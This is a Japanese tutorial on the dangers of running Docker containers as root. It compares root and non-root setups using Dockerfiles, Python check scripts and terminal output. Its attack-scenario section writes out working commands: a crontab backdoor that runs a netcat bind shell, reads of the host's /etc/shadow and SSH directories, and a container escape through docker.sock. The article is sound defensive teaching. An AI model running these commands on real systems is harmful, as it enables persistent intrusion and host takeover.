Dockerコンテナを本番環境で運用する際、セキュリティは最も重要な考慮事項の一つです。
多くの開発者が見落としがちなのが、コンテナをroot権限で実行することのリスクです。
本記事では、root権限での実行がもたらす具体的な危険性と、適切な対処方法について実践的なサンプルコードとともに解説します。
root権限での実行による主な危険性
ホストシステムへの影響拡大
コンテナがroot権限で実行されている場合、コンテナが侵害されるとホストシステム全体への影響が拡大する可能性があります。
権限昇格攻撃のリスク
攻撃者がコンテナ内でroot権限を取得した場合、Docker Daemonやホストのリソースへのアクセスを試みる可能性があります。
ファイルシステムの不正操作
ボリュームマウントを通じて、ホストのファイルシステムに対する不正な読み取り・書き込みが行われるリスクがあります。
実践的セキュリティ検証
以下のサンプルコードを使用して、root権限実行時とそれ以外の場合のセキュリティリスクを実際に確認できます。
検証用Dockerfileの作成
root権限で実行される脆弱な例。
# Dockerfile.vulnerable (root権限で実行される脆弱な例)
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y \
curl \
wget \
nano \
python3 \
iproute2 \
procps \
&& rm -rf /var/lib/apt/lists/*
COPY vulnerable-app.py /app/
WORKDIR /app
# rootユーザーのまま実行(これが危険)
CMD ["python3", "vulnerable-app.py"]
非root権限で実行される安全な例
# Dockerfile.secure (非root権限で実行される安全な例)
FROM ubuntu:20.04
RUN apt-get update && apt-get install -y \
curl \
wget \
nano \
python3 \
iproute2 \
procps \
&& rm -rf /var/lib/apt/lists/*
# 非特権ユーザーを作成
RUN groupadd -r appgroup && useradd -r -g appgroup appuser
COPY secure-app.py /app/
RUN chown -R appuser:appgroup /app
WORKDIR /app
# 非rootユーザーに切り替え
USER appuser
CMD ["python3", "secure-app.py"]
セキュリティリスク検証用のPythonアプリケーション
vulnerable-app.py
以下のpythonスクリプト(vulnerable-app.py)は、Dockerコンテナのセキュリティリスクを評価するために設計されています。
具体的には、コンテナがroot権限で実行されているかをチェックし、さらにファイルシステムへの書き込みやシステム情報の取得といった「危険な操作」を試行することで、コンテナの現在の権限レベルと、それによって実行可能な操作の範囲を検証します。
# vulnerable-app.py
import os
import subprocess
import sys
def check_privileges():
"""現在の実行権限を確認"""
uid = os.getuid()
gid = os.getgid()
print(f"UID: {uid}, GID: {gid}")
print(f"実行ユーザー: {'root' if uid == 0 else 'non-root'}")
return uid == 0
def attempt_dangerous_operations():
"""危険な操作を試行"""
operations = []
# 1. システムファイルへの書き込み試行
try:
with open('/etc/passwd', 'a') as f:
f.write('')
operations.append("✗ /etc/passwdへの書き込み: 成功(危険)")
except PermissionError:
operations.append("✓ /etc/passwdへの書き込み: 拒否(安全)")
# 2. プロセス一覧の取得
try:
result = subprocess.run(['ps', 'aux'], capture_output=True, text=True)
process_count = len(result.stdout.split('\n')) - 1
operations.append(f"プロセス情報取得: {process_count}個のプロセス")
except:
operations.append("プロセス情報取得: 失敗")
# 3. ネットワーク設定の確認
try:
result = subprocess.run(['ip', 'addr'], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
interfaces = len([line for line in result.stdout.split('\n') if ': ' in line])
operations.append(f"ネットワーク設定取得: 成功 ({interfaces}個のインターフェース)")
else:
operations.append(f"ネットワーク設定取得: コマンド実行失敗 (返り値: {result.returncode})")
except FileNotFoundError:
operations.append("ネットワーク設定取得: ipコマンドが見つかりません (iproute2未インストール)")
except subprocess.TimeoutExpired:
operations.append("ネットワーク設定取得: タイムアウト")
except Exception as e:
operations.append(f"ネットワーク設定取得: その他のエラー ({e})")
# 4. ファイルシステムのマウント状況確認
try:
with open('/proc/mounts', 'r') as f:
mounts = f.read()
mount_count = len(mounts.split('\n')) - 1
operations.append(f"マウント情報取得: {mount_count}個のマウントポイント")
except:
operations.append("マウント情報取得: 失敗")
return operations
def main():
print("=== Docker セキュリティリスク検証 ===")
print()
is_root = check_privileges()
print()
print("危険な操作の試行結果:")
operations = attempt_dangerous_operations()
for op in operations:
print(f" {op}")
print()
if is_root:
print("⚠️ WARNING: このコンテナはroot権限で実行されています!")
print(" セキュリティリスクが高い状態です。")
else:
print("✅ GOOD: このコンテナは非root権限で実行されています。")
print(" セキュリティリスクが軽減されています。")
if __name__ == "__main__":
main()
secure-app.py
このPythonスクリプト(secure-app.py)は、Dockerコンテナのセキュリティを検証するためのツールです。
コンテナがroot権限で実行されているかを確認し、さらにシステムファイルへのアクセスやシステム情報の取得といった「危険な操作」を試行することで、コンテナの現在の権限レベルと、それによって可能になる操作の範囲を評価します。
# secure-app.py (secure版 - 基本的にvulnerable-app.pyと同じ内容)
import os
import subprocess
import sys
def check_privileges():
"""現在の実行権限を確認"""
uid = os.getuid()
gid = os.getgid()
print(f"UID: {uid}, GID: {gid}")
print(f"実行ユーザー: {'root' if uid == 0 else 'non-root'}")
return uid == 0
def attempt_dangerous_operations():
"""危険な操作を試行"""
operations = []
# 1. システムファイルへの書き込み試行
try:
with open('/etc/passwd', 'a') as f:
f.write('')
operations.append("✗ /etc/passwdへの書き込み: 成功(危険)")
except PermissionError:
operations.append("✓ /etc/passwdへの書き込み: 拒否(安全)")
# 2. プロセス一覧の取得
try:
result = subprocess.run(['ps', 'aux'], capture_output=True, text=True)
process_count = len(result.stdout.split('\n')) - 1
operations.append(f"プロセス情報取得: {process_count}個のプロセス")
except:
operations.append("プロセス情報取得: 失敗")
# 3. ネットワーク設定の確認
try:
result = subprocess.run(['ip', 'addr'], capture_output=True, text=True)
operations.append("ネットワーク設定取得: 成功")
except:
operations.append("ネットワーク設定取得: 失敗")
# 4. ファイルシステムのマウント状況確認
try:
with open('/proc/mounts', 'r') as f:
mounts = f.read()
mount_count = len(mounts.split('\n')) - 1
operations.append(f"マウント情報取得: {mount_count}個のマウントポイント")
except:
operations.append("マウント情報取得: 失敗")
return operations
def main():
print("=== Docker セキュリティリスク検証(セキュア版) ===")
print()
is_root = check_privileges()
print()
print("危険な操作の試行結果:")
operations = attempt_dangerous_operations()
for op in operations:
print(f" {op}")
print()
if is_root:
print("⚠️ WARNING: このコンテナはroot権限で実行されています!")
print(" セキュリティリスクが高い状態です。")
else:
print("✅ GOOD: このコンテナは非root権限で実行されています。")
print(" セキュリティリスクが軽減されています。")
if __name__ == "__main__":
main()
検証の実行方法
脆弱なコンテナ(root権限)のビルドと実行を行う。
#使用コマンド
docker build -f Dockerfile.vulnerable -t security-test-vulnerable .
docker run --rm security-test-vulnerable
##ターミナル画面 ubuntu bash
$ docker build -f Dockerfile.vulnerable -t security-test-vulnerable .
[+] Building 2.4s (10/10) FINISHED docker:default
=> [internal] load build definition from Dockerfile.vulnerable 0.0s
=> => transferring dockerfile: 358B 0.0s
=> [internal] load metadata for docker.io/library/ubuntu:20.04 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/4] FROM docker.io/library/ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f668 1.9s
=> => resolve docker.io/library/ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f668 1.9s
=> [internal] load build context 0.0s
=> => transferring context: 3.16kB 0.0s
=> [auth] library/ubuntu:pull token for registry-1.docker.io 0.0s
=> CACHED [2/4] RUN apt-get update && apt-get install -y curl wget nano python3 0.0s
=> CACHED [3/4] COPY vulnerable-app.py /app/ 0.0s
=> CACHED [4/4] WORKDIR /app 0.0s
=> exporting to image 0.4s
=> => exporting layers 0.0s
=> => exporting manifest sha256:362dec18268b47aea7e77996b3a2c52da4c4ed64145f800419f93ee3e4ed5495 0.0s
=> => exporting config sha256:ed439c6d5c194c7a966d9863a44b886fbd41d9f06725209cd5118692865e91dc 0.0s
=> => exporting attestation manifest sha256:abda2f6f86665058544ddc33a7ec95b6d2db9a977f06c8f488c7a3d5 0.0s
=> => exporting manifest list sha256:2f187681d35e0e6a126baed0a2b8237fe527c7c3eada3aa7f23a70b9609566e 0.0s
=> => naming to docker.io/library/security-test-vulnerable:latest 0.0s
=> => unpacking to docker.io/library/security-test-vulnerable:latest 0.3s
$ docker run --rm security-test-vulnerable
=== Docker セキュリティリスク検証 ===
UID: 0, GID: 0
実行ユーザー: root
危険な操作の試行結果:
✗ /etc/passwdへの書き込み: 成功(危険)
プロセス情報取得: 3個のプロセス
ネットワーク設定取得: 成功 (2個のインターフェース)
マウント情報取得: 36個のマウントポイント
⚠️ WARNING: このコンテナはroot権限で実行されています!
セキュリティリスクが高い状態です。
$
セキュアなコンテナ(非root権限)のビルドと実行を行う。
#使用コマンド
docker build -f Dockerfile.secure -t security-test-secure .
docker run --rm security-test-secure
#ターミナル画面 ubuntu bash
$ docker build -f Dockerfile.secure -t security-test-secure .
[+] Building 0.3s (11/11) FINISHED docker:default
=> [internal] load build definition from Dockerfile.secure 0.0s
=> => transferring dockerfile: 470B 0.0s
=> [internal] load metadata for docker.io/library/ubuntu:20.04 0.0s
=> [internal] load .dockerignore 0.0s
=> => transferring context: 2B 0.0s
=> [1/6] FROM docker.io/library/ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f668 0.0s
=> => resolve docker.io/library/ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f668 0.0s
=> [internal] load build context 0.0s
=> => transferring context: 2.59kB 0.0s
=> CACHED [2/6] RUN apt-get update && apt-get install -y curl wget nano python3 0.0s
=> CACHED [3/6] RUN groupadd -r appgroup && useradd -r -g appgroup appuser 0.0s
=> CACHED [4/6] COPY secure-app.py /app/ 0.0s
=> CACHED [5/6] RUN chown -R appuser:appgroup /app 0.0s
=> CACHED [6/6] WORKDIR /app 0.0s
=> exporting to image 0.1s
=> => exporting layers 0.0s
=> => exporting manifest sha256:a8977b5958f83d25c6705b8a344585954e0b3d70cd6123b821b3e9dff8569d5e 0.0s
=> => exporting config sha256:2a3c56ef29a6a76de70bf06868b78fcb67e0aa1491cba12e60fa609c85366eb2 0.0s
=> => exporting attestation manifest sha256:4ad698d14ff56bce1cb0f745aafda74a3310044217b7f3a978c0a252 0.0s
=> => exporting manifest list sha256:3fa28230e0b08f1f44b747503e1b23bb11fbfa47cc9d22737da76d97619ad49 0.0s
=> => naming to docker.io/library/security-test-secure:latest 0.0s
=> => unpacking to docker.io/library/security-test-secure:latest 0.0s
$ docker run --rm security-test-secure
=== Docker セキュリティリスク検証(セキュア版) ===
UID: 999, GID: 999
実行ユーザー: non-root
危険な操作の試行結果:
✓ /etc/passwdへの書き込み: 拒否(安全)
プロセス情報取得: 3個のプロセス
ネットワーク設定取得: 成功
マウント情報取得: 36個のマウントポイント
✅ GOOD: このコンテナは非root権限で実行されています。
セキュリティリスクが軽減されています。
$
比較のため、同じイメージ(security-test-vulnerable)を異なる権限で実行する。
#使用コマンド
docker run --rm --user 1000:1000 security-test-vulnerable
#ターミナル画面 ubuntu bash
$ docker run --rm --user 1000:1000 security-test-vulnerable
=== Docker セキュリティリスク検証 ===
UID: 1000, GID: 1000
実行ユーザー: non-root
危険な操作の試行結果:
✓ /etc/passwdへの書き込み: 拒否(安全)
プロセス情報取得: 3個のプロセス
ネットワーク設定取得: 成功 (2個のインターフェース)
マウント情報取得: 36個のマウントポイント
✅ GOOD: このコンテナは非root権限で実行されています。
セキュリティリスクが軽減されています。
$
詳細なリスク検証
危険なコマンド例
ホストルートディレクトリの完全マウント
ホストシステムの様々な重要なディレクトリをコンテナ内にマウント後し、ubuntu:20.04イメージのコンテナのbash シェルを起動する。
# root権限でホスト全体をマウントする
docker run --rm -it \
-v /:/host-root \
-v /etc:/host-etc \
-v /home:/host-home \
-v /var/run/docker.sock:/var/run/docker.sock \
ubuntu:20.04 bash
#ターミナル画面 ubuntu bash
$ docker run --rm -it \
-v /:/host-root \
-v /etc:/host-etc \
-v /home:/host-home \
-v /var/run/docker.sock:/var/run/docker.sock \
ubuntu:20.04 bash
#以下は、コンテナ内のbashで実行
⚠️ 下記コマンドで、ホストの全ファイルシステムが見える。
# ls -la /host-root
total 2296
drwxr-xr-x 23 root root 4096 Jun 29 07:04 .
drwxr-xr-x 1 root root 4096 Jun 29 08:12
~~~~~
dr-xr-xr-x 11 root root 0 Jun 29 07:03 sys
drwxrwxrwt 11 root root 4096 Jun 29 07:19 tmp
drwxr-xr-x 12 root root 4096 Sep 27 2024 usr
drwxr-xr-x 13 root root 4096 Nov 11 2024 var
⚠️ 下記コマンドで、ホストのユーザー情報が読める。
/# cat /host-root/etc/passwd
****:x:0:0:****:/root:/bin/bash
******:x:1:1:******:/usr/sbin:/usr/sbin/nologin
~~~~~
*****:x:1000:1000:,,,:/home/*****:/bin/bash
⚠️ 下記コマンドで、ホストに書き込める。
# echo "malicious content" > /host-root/tmp/malicious.txt
# cat /host-root/tmp/malicious.txt
malicious content
Docker Socket マウントによる権限昇格テスト
このコマンドは、Dockerコンテナ内でホストのDockerデーモンを操作できるようします。
Dockerのソケットとバイナリの両方をマウントします。
これにより、コンテナ内からあたかもホスト上で直接Dockerコマンドを実行しているかのように、他のコンテナを管理したり、イメージを操作したりできるようになります。
docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/bin/docker:/usr/bin/docker \
ubuntu:20.04 bash
#ターミナル画面 ubuntu bash
$ docker run --rm -it \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /usr/bin/docker:/usr/bin/docker \
ubuntu:20.04 bash
#以下は、コンテナ内のbashで実行
⚠️ 下記コマンドで、ホストのコンテナが見えます。
# docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
5c5a8c0ceee6 ubuntu:20.04 "bash" 16 seconds ago Up 16 seconds pedantic_williamson
⚠️ 下記コマンドで、新しいコンテナでホストにアクセスできます。
# docker run --rm -v /:/host alpine cat /host/etc/passwd
****:x:0:0:****:/root:/bin/bash
******:x:1:1:******:/usr/sbin:/usr/sbin/nologin
~~~~~
*****:x:1000:1000:,,,:/home/*****:/bin/bash
#
【参考】
⚠️ -v /:/host オプションで、コンテナにホストOSのファイルシステム全体への読み書き権限を与えています。
alpine は非常に軽量で、必要最小限の機能しか持たないLinuxディストリビューションのイメージです。
検証スクリプト(volume-security-test.py)を使ったテスト
このPythonスクリプト(volume-security-test.py )は、Dockerコンテナがホストシステムに不適切にマウントされたボリュームを介して、どの程度のセキュリティリスクを抱えているかを検証します。
様々なテストを実行し、コンテナがホストのファイルシステムにアクセスできるか、機密ファイルを読み取れるか、さらには権限昇格が可能かなどを評価します。
# volume-security-test.py
import os
import stat
import subprocess
import sys
from pathlib import Path
def check_host_access():
"""ホストファイルシステムへのアクセス状況を確認"""
print("=== ホストファイルシステムアクセス検証 ===")
# マウントされたホストディレクトリの確認
host_dirs = ['/host-root', '/host-etc', '/host-home', '/host-tmp']
for host_dir in host_dirs:
if os.path.exists(host_dir):
print(f"\n📁 {host_dir} の検証:")
try:
# ディレクトリ内容の一覧表示
items = os.listdir(host_dir)
print(f" 📋 ファイル数: {len(items)}")
# 重要ファイルの存在確認
critical_files = ['passwd', 'shadow', 'sudoers', 'ssh', '.ssh']
for item in items[:10]: # 最初の10項目のみ表示
item_path = os.path.join(host_dir, item)
if os.path.isfile(item_path):
file_stat = os.stat(item_path)
permissions = oct(file_stat.st_mode)[-3:]
if any(cf in item.lower() for cf in critical_files):
print(f" ⚠️ 重要ファイル: {item} (権限: {permissions})")
else:
print(f" 📄 ファイル: {item} (権限: {permissions})")
elif os.path.isdir(item_path):
print(f" 📁 ディレクトリ: {item}")
except PermissionError:
print(f" ✅ アクセス拒否 - セキュリティが保たれています")
except Exception as e:
print(f" ❌ エラー: {e}")
def test_file_operations():
"""ファイル操作テスト"""
print("\n=== ファイル操作セキュリティテスト ===")
test_cases = [
('/host-root/tmp/docker-test.txt', 'ホスト/tmpへの書き込み'),
('/host-etc/docker-malicious.conf', 'ホスト/etcへの書き込み(危険)'),
('/host-home/docker-user-file.txt', 'ホームディレクトリへの書き込み'),
]
for file_path, description in test_cases:
try:
# ディレクトリが存在する場合のみテスト
dir_path = os.path.dirname(file_path)
if os.path.exists(dir_path):
with open(file_path, 'w') as f:
f.write('Docker container test file\n')
print(f" ✗ {description}: 成功(危険な状態)")
# 作成したファイルを削除
try:
os.remove(file_path)
except:
pass
else:
print(f" ℹ️ {description}: ディレクトリが存在しません")
except PermissionError:
print(f" ✅ {description}: 拒否(安全)")
except Exception as e:
print(f" ❓ {description}: エラー ({e})")
def test_privilege_escalation():
"""権限昇格攻撃の可能性をテスト"""
print("\n=== 権限昇格攻撃テスト ===")
# Docker socketへのアクセステスト
docker_socket_paths = ['/var/run/docker.sock', '/host-root/var/run/docker.sock']
for socket_path in docker_socket_paths:
if os.path.exists(socket_path):
try:
socket_stat = os.stat(socket_path)
print(f" ⚠️ Docker Socket発見: {socket_path}")
print(f" 権限: {oct(socket_stat.st_mode)[-3:]}")
print(f" 所有者: UID {socket_stat.st_uid}, GID {socket_stat.st_gid}")
# Docker APIへのアクセステスト
try:
result = subprocess.run([
'curl', '-s', '--unix-socket', socket_path,
'http://localhost/containers/json'
], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
print(f" 🚨 Docker API接続成功 - 完全な権限昇格が可能!")
else:
print(f" ✅ Docker API接続失敗 - 権限昇格を防止")
except subprocess.TimeoutExpired:
print(f" ⏱️ Docker API接続タイムアウト")
except FileNotFoundError:
print(f" ℹ️ curlコマンドが見つかりません")
except Exception as e:
print(f" ❌ Docker Socket検証エラー: {e}")
else:
print(f" ✅ Docker Socket未検出: {socket_path}")
def test_sensitive_file_access():
"""機密ファイルへのアクセステスト"""
print("\n=== 機密ファイルアクセステスト ===")
sensitive_files = [
('/host-root/etc/passwd', 'パスワードファイル'),
('/host-root/etc/shadow', 'シャドウパスワード'),
('/host-root/etc/sudoers', 'sudo設定'),
('/host-root/root/.ssh/id_rsa', 'rootのSSH秘密鍵'),
('/host-root/home', 'ユーザーホームディレクトリ'),
]
for file_path, description in sensitive_files:
try:
if os.path.exists(file_path):
if os.path.isfile(file_path):
with open(file_path, 'r') as f:
content = f.read(100) # 最初の100文字のみ
print(f" 🚨 {description}: 読み取り成功(極めて危険!)")
print(f" 内容プレビュー: {content[:50]}...")
elif os.path.isdir(file_path):
items = os.listdir(file_path)
print(f" ⚠️ {description}: ディレクトリアクセス成功")
print(f" 項目数: {len(items)}")
else:
print(f" ℹ️ {description}: ファイルが存在しません")
except PermissionError:
print(f" ✅ {description}: アクセス拒否(安全)")
except Exception as e:
print(f" ❌ {description}: エラー ({e})")
def test_network_capabilities():
"""ネットワーク機能のテスト"""
print("\n=== ネットワーク機能テスト ===")
# ネットワークインターフェース情報
try:
result = subprocess.run(['ip', 'addr'], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
interfaces = len([line for line in result.stdout.split('\n') if ': ' in line and 'lo:' not in line])
print(f" 📡 ネットワークインターフェース: {interfaces}個")
else:
print(f" ❌ ip addrコマンド失敗 (返り値: {result.returncode})")
except FileNotFoundError:
print(" ❌ ipコマンドが見つかりません (iproute2未インストール)")
except subprocess.TimeoutExpired:
print(" ⏱️ ip addrコマンドタイムアウト")
except Exception as e:
print(f" ❌ ネットワーク情報取得エラー: {e}")
# プロセス情報
try:
result = subprocess.run(['ps', 'aux'], capture_output=True, text=True, timeout=5)
if result.returncode == 0:
process_count = len(result.stdout.split('\n')) - 2 # ヘッダーと空行を除く
print(f" 🔍 実行中プロセス: {process_count}個")
else:
print(f" ❌ psコマンド失敗 (返り値: {result.returncode})")
except FileNotFoundError:
print(" ❌ psコマンドが見つかりません (procps未インストール)")
except subprocess.TimeoutExpired:
print(" ⏱️ psコマンドタイムアウト")
except Exception as e:
print(f" ❌ プロセス情報取得エラー: {e}")
def main():
print("=== Docker ボリュームマウント セキュリティリスク検証 ===")
print(f"実行ユーザー: UID {os.getuid()}, GID {os.getgid()}")
print(f"実行権限: {'ROOT' if os.getuid() == 0 else 'NON-ROOT'}")
print()
check_host_access()
test_file_operations()
test_privilege_escalation()
test_sensitive_file_access()
test_network_capabilities()
print("\n=== 検証結果サマリー ===")
if os.getuid() == 0:
print("🚨 このコンテナはroot権限で実行されています!")
print(" ボリュームマウントにより、ホストシステムへの")
print(" 深刻なセキュリティリスクが存在します。")
else:
print("✅ このコンテナは非root権限で実行されています。")
print(" セキュリティリスクが大幅に軽減されています。")
if __name__ == "__main__":
main()
volume-security-test.pyをroot権限で実行する
#ターミナル画面 ubuntu bash
$ docker run --rm \
-v /:/host-root \
-v /etc:/host-etc \
-v /home:/host-home \
-v /var/run/docker.sock:/var/run/docker.sock \
-v $(pwd)/volume-security-test.py:/app/test.py \
python:3.9-slim python /app/test.py
*volume-security-test.pyをroot権限で実行した出力内容です。
=== Docker ボリュームマウント セキュリティリスク検証 ===
実行ユーザー: UID 0, GID 0
実行権限: ROOT
=== ホストファイルシステムアクセス検証 ===
📁 /host-root の検証:
📋 ファイル数: 26
📁 ディレクトリ: media
📁 ディレクトリ: etc
📁 ディレクトリ: home
📁 ディレクトリ: lib64
📁 ディレクトリ: run
📁 ディレクトリ: snap
📁 ディレクトリ: sys
📁 ディレクトリ: boot
📁 ディレクトリ: lib
📁 ディレクトリ: sbin.usr-is-merged
📁 /host-etc の検証:
📋 ファイル数: 171
📄 ファイル: manpath.config (権限: 644)
📄 ファイル: e2scrub.conf (権限: 644)
📁 ディレクトリ: X11
📁 ディレクトリ: console-setup
📄 ファイル: services (権限: 644)
📁 ディレクトリ: apparmor
📁 ディレクトリ: polkit-1
📁 ディレクトリ: kernel
📄 ファイル: .resolv.conf.systemd-resolved.bak (権限: 644)
📁 ディレクトリ: perl
📁 /host-home の検証:
📋 ファイル数: 1
📁 ディレクトリ: omo-y
=== ファイル操作セキュリティテスト ===
✗ ホスト/tmpへの書き込み: 成功(危険な状態)
✗ ホスト/etcへの書き込み(危険): 成功(危険な状態)
✗ ホームディレクトリへの書き込み: 成功(危険な状態)
=== 権限昇格攻撃テスト ===
⚠️ Docker Socket発見: /var/run/docker.sock
権限: 660
所有者: UID 0, GID 1001
ℹ️ curlコマンドが見つかりません
⚠️ Docker Socket発見: /host-root/var/run/docker.sock
権限: 660
所有者: UID 0, GID 1001
ℹ️ curlコマンドが見つかりません
=== 機密ファイルアクセステスト ===
🚨 パスワードファイル: 読み取り成功(極めて危険!)
内容プレビュー: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemo...
🚨 シャドウパスワード: 読み取り成功(極めて危険!)
内容プレビュー: root:*:19993:0:99999:7:::
daemon:*:19993:0:99999:7...
🚨 sudo設定: 読み取り成功(極めて危険!)
内容プレビュー: #
# This file MUST be edited with the 'visudo' com...
ℹ️ rootのSSH秘密鍵: ファイルが存在しません
⚠️ ユーザーホームディレクトリ: ディレクトリアクセス成功
項目数: 1
=== ネットワーク機能テスト ===
❌ ipコマンドが見つかりません (iproute2未インストール)
❌ psコマンドが見つかりません (procps未インストール)
=== 検証結果サマリー ===
🚨 このコンテナはroot権限で実行されています!
ボリュームマウントにより、ホストシステムへの
深刻なセキュリティリスクが存在します。
$
volume-security-test.pyを非root権限で実行する
#ターミナル画面 ubuntu bash
$ docker run --rm \
--user 1000:1000 \
-v /tmp:/host-tmp:ro \
-v $(pwd)/volume-security-test.py:/app/test.py \
python:3.9-slim python /app/test.py
*volume-security-test.pyを非root権限で実行した出力内容です。
=== Docker ボリュームマウント セキュリティリスク検証 ===
実行ユーザー: UID 1000, GID 1000
実行権限: NON-ROOT
=== ホストファイルシステムアクセス検証 ===
📁 /host-tmp の検証:
📋 ファイル数: 10
📁 ディレクトリ: .X11-unix
📁 ディレクトリ: systemd-private-955e4068a2214adba80f5b3a4f322d99-systemd-resolved.service-WNG7uz
📁 ディレクトリ: .XIM-unix
📁 ディレクトリ: systemd-private-955e4068a2214adba80f5b3a4f322d99-systemd-logind.service-LXX0zw
📁 ディレクトリ: .ICE-unix
📁 ディレクトリ: systemd-private-955e4068a2214adba80f5b3a4f322d99-systemd-timesyncd.service-qLPj07
📁 ディレクトリ: snap-private-tmp
📁 ディレクトリ: systemd-private-955e4068a2214adba80f5b3a4f322d99-wsl-pro.service-Y6WncT
📄 ファイル: malicious.txt (権限: 644)
📁 ディレクトリ: .font-unix
=== ファイル操作セキュリティテスト ===
ℹ️ ホスト/tmpへの書き込み: ディレクトリが存在しません
ℹ️ ホスト/etcへの書き込み(危険): ディレクトリが存在しません
ℹ️ ホームディレクトリへの書き込み: ディレクトリが存在しません
=== 権限昇格攻撃テスト ===
✅ Docker Socket未検出: /var/run/docker.sock
✅ Docker Socket未検出: /host-root/var/run/docker.sock
=== 機密ファイルアクセステスト ===
ℹ️ パスワードファイル: ファイルが存在しません
ℹ️ シャドウパスワード: ファイルが存在しません
ℹ️ sudo設定: ファイルが存在しません
ℹ️ rootのSSH秘密鍵: ファイルが存在しません
ℹ️ ユーザーホームディレクトリ: ファイルが存在しません
=== ネットワーク機能テスト ===
❌ ipコマンドが見つかりません (iproute2未インストール)
❌ psコマンドが見つかりません (procps未インストール)
=== 検証結果サマリー ===
✅ このコンテナは非root権限で実行されています。
セキュリティリスクが大幅に軽減されています。
$
実際の攻撃シナリオの検証
ホストのcrontabを改ざんしてバックドアを仕込む
ボリュームマウント (-v /:/host)を行いコンテナがホストのユーザーのホームディレクトリにアクセスできるようにした後に、ホストの crontab を変更して、毎分スクリプト(/tmp/backdoor.sh)を実行するようにする。
# === シナリオ1: ホストのcrontabを改ざんしてバックドアを仕込む ===
docker run --rm -v /:/host ubuntu:20.04 sh -c "
echo '* * * * * root /tmp/backdoor.sh' >> /host/etc/crontab &&
echo '#!/bin/bash' > /host/tmp/backdoor.sh &&
echo 'nc -l -p 4444 -e /bin/bash' >> /host/tmp/backdoor.sh &&
chmod +x /host/tmp/backdoor.sh &&
echo 'バックドアの設置完了'
"
#ターミナル画面 ubuntu bash
$ docker run --rm -v /:/host ubuntu:20.04 sh -c "
echo '* * * * * root /tmp/backdoor.sh' >> /host/etc/crontab &&
echo '#!/bin/bash' > /host/tmp/backdoor.sh &&
echo 'nc -l -p 4444 -e /bin/bash' >> /host/tmp/backdoor.sh &&
chmod +x /host/tmp/backdoor.sh &&
echo 'バックドアの設置完了'
"
バックドアの設置完了
#バックドアの確認
$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
# You can also override PATH, but by default, newer versions inherit it from the environment
#PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#
* * * * * root /tmp/backdoor.sh
$ cat /tmp/backdoor.sh
#!/bin/bash
nc -l -p 4444 -e /bin/bash
【参考】cron と crontab
cron(実際にジョブを実行するデーモン)が、crontab(ジョブのスケジュールを記述する設定ファイル)に従い指定されたコマンドを自動実行する。
crontab の基本的な書式
分 時 日 月 曜日 コマンド
分:0~59 時:0~23 日:1~31 月:1~12 曜日:0~7(0と7は日曜) *:ワイルドカード
SSH関連ファイルの検索
ボリュームマウント (-v /home:/host-home)を行いコンテナがホストのユーザーのホームディレクトリにアクセスできるようにした後に、ホストシステム上の各ユーザーの .ssh ディレクトリを見つけ、その中身をリスト表示する。
#ホストシステム上のSSH関連ファイルを検索する。
docker run --rm -v /home:/host-home ubuntu:20.04 sh -c "
find /host-home -name '*.ssh' -type d 2>/dev/null | while read sshdir; do
echo 'SSH directory found:' \$sshdir
ls -la \$sshdir/ 2>/dev/null || echo 'Access denied'
done
"
#ターミナル画面 ubuntu bash
$ docker run --rm -v /home:/host-home ubuntu:20.04 sh -c "
find /host-home -name '*.ssh' -type d 2>/dev/null | while read sshdir; do
echo 'SSH directory found:' \$sshdir
ls -la \$sshdir/ 2>/dev/null || echo 'Access denied'
done
"
SSH directory found: /host-home/*****/.ssh
total 12
drwx------ 2 1000 1000 4096 Nov 20 2024 .
drwxr-x--- 20 1000 1000 4096 Jun 30 00:36 ..
-rw-r--r-- 1 1000 1000 142 Nov 20 2024 known_hosts
$
Docker in Docker(DinD)
Dockerコンテナ内でDockerコマンドを実行する。
Dockerソケットを悪用してコンテナから脱出(Escape)し、ホストのファイルシステムを直接操作する
#Docker in Docker攻撃
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock \
docker:latest docker run --rm -v /:/host alpine \
sh -c "echo 'Escaped to host via Docker socket' > /host/tmp/pwned.txt"
【コマンド解説】
第一段階
docker:latestイメージを使用してコンテナを起動し、ホストのDockerソケットをマウントすることで、ホストのDockerデーモンを制御できる様にする。
第二段階
この制御能力を利用して、ホスト上で新しいコンテナを起動します。
この新しいコンテナは、ホストのルートファイルシステム (/) を自身にマウントしています。
第三段階
ホストのファイルシステムにアクセスできるようになった内側のコンテナは、ホストの /tmp ディレクトリに pwned.txt というファイルを作成し、「Escaped to host via Docker socket」というメッセージを書き込みます。
これは、攻撃が成功し、ホストが侵害されたことを示す証拠となります。
【参考】docker.sock
docker.sockは、Docker デーモンとクライアントが通信するための UNIX ソケットファイルのこと。
Dockerは、クライアント・サーバー構造
クライアント(dockerコマンド):操作指示を送る
デーモン(dockerd):実際にコンテナを作成・削除するバックグラウンドプロセス
